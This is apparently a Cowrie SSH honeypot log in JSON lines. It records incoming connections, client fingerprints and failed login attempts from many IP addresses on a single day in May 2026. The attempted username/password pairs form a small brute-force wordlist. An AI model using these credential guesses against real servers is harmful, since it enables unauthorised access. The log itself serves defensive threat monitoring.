{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:37.606549Z","src_ip":"196.92.7.249","session":"60340a5d0d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123","message":"login attempt [gabriel/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:38.129487Z","src_ip":"196.92.7.249","session":"60340a5d0d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":32788,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffa558c15d21","protocol":"ssh","message":"New connection: 20.203.42.204:32788 (159.203.135.109:22) [session: ffa558c15d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:38.963043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:38.968432Z","src_ip":"20.203.42.204","session":"ffa558c15d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:39.124826Z","src_ip":"20.203.42.204","session":"ffa558c15d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:39.257226Z","src_ip":"196.92.7.249","session":"60340a5d0d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student2","password":"password","message":"login attempt [student2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:39.787540Z","src_ip":"20.203.42.204","session":"ffa558c15d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:40.959340Z","src_ip":"20.203.42.204","session":"ffa558c15d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":34744,"dst_ip":"159.203.135.109","dst_port":22,"session":"17bd4051e720","protocol":"ssh","message":"New connection: 121.168.139.251:34744 (159.203.135.109:22) [session: 17bd4051e720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:01.269346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:01.277597Z","src_ip":"121.168.139.251","session":"17bd4051e720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:01.482137Z","src_ip":"121.168.139.251","session":"17bd4051e720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:02.353927Z","src_ip":"121.168.139.251","session":"17bd4051e720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:03.561485Z","src_ip":"121.168.139.251","session":"17bd4051e720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":50314,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d7a07078fa","protocol":"ssh","message":"New connection: 31.59.89.180:50314 (159.203.135.109:22) [session: b6d7a07078fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:06.660905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:06.667261Z","src_ip":"31.59.89.180","session":"b6d7a07078fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:06.772419Z","src_ip":"31.59.89.180","session":"b6d7a07078fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:07.221529Z","src_ip":"31.59.89.180","session":"b6d7a07078fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:08.330386Z","src_ip":"31.59.89.180","session":"b6d7a07078fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":45970,"dst_ip":"159.203.135.109","dst_port":22,"session":"05cf8d37c5f5","protocol":"ssh","message":"New connection: 122.176.122.24:45970 (159.203.135.109:22) [session: 05cf8d37c5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:18.888778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:18.894034Z","src_ip":"122.176.122.24","session":"05cf8d37c5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:19.170689Z","src_ip":"122.176.122.24","session":"05cf8d37c5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":47176,"dst_ip":"159.203.135.109","dst_port":22,"session":"1599e7a08047","protocol":"ssh","message":"New connection: 103.107.60.45:47176 (159.203.135.109:22) [session: 1599e7a08047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:19.258972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:19.264220Z","src_ip":"103.107.60.45","session":"1599e7a08047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:19.481527Z","src_ip":"103.107.60.45","session":"1599e7a08047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:20.378093Z","src_ip":"103.107.60.45","session":"1599e7a08047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e#E@W!Q","message":"login attempt [root/1q2w3e#E@W!Q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:20.457691Z","src_ip":"122.176.122.24","session":"05cf8d37c5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":48938,"dst_ip":"159.203.135.109","dst_port":22,"session":"b20fd2209a4b","protocol":"ssh","message":"New connection: 156.38.73.89:48938 (159.203.135.109:22) [session: b20fd2209a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:20.572448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:20.589802Z","src_ip":"156.38.73.89","session":"b20fd2209a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:20.796900Z","src_ip":"156.38.73.89","session":"b20fd2209a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:21.598312Z","src_ip":"103.107.60.45","session":"1599e7a08047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:21.679335Z","src_ip":"156.38.73.89","session":"b20fd2209a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:21.734922Z","src_ip":"122.176.122.24","session":"05cf8d37c5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:22.888422Z","src_ip":"156.38.73.89","session":"b20fd2209a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10026,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeda343bf869","protocol":"ssh","message":"New connection: 2.57.121.25:10026 (10.17.0.5:22) [session: eeda343bf869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:53.092806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:53.098030Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:53.193228Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121084","message":"login attempt [user/121084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:53.649331Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12101994","message":"login attempt [user/12101994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:54.747339Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120883","message":"login attempt [user/120883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:55.851154Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120790","message":"login attempt [user/120790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:56.949894Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120779","message":"login attempt [user/120779] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:58.049072Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:57:59.170443Z","src_ip":"2.57.121.25","session":"eeda343bf869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":59180,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a4ed64fa8a1","protocol":"ssh","message":"New connection: 116.110.158.146:59180 (159.203.135.109:22) [session: 7a4ed64fa8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:08.080011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:08.085068Z","src_ip":"116.110.158.146","session":"7a4ed64fa8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.249","src_port":48968,"dst_ip":"159.203.135.109","dst_port":22,"session":"655af969a02b","protocol":"ssh","message":"New connection: 196.92.7.249:48968 (159.203.135.109:22) [session: 655af969a02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:12.090126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:12.095320Z","src_ip":"196.92.7.249","session":"655af969a02b","protocol":"ssh"}
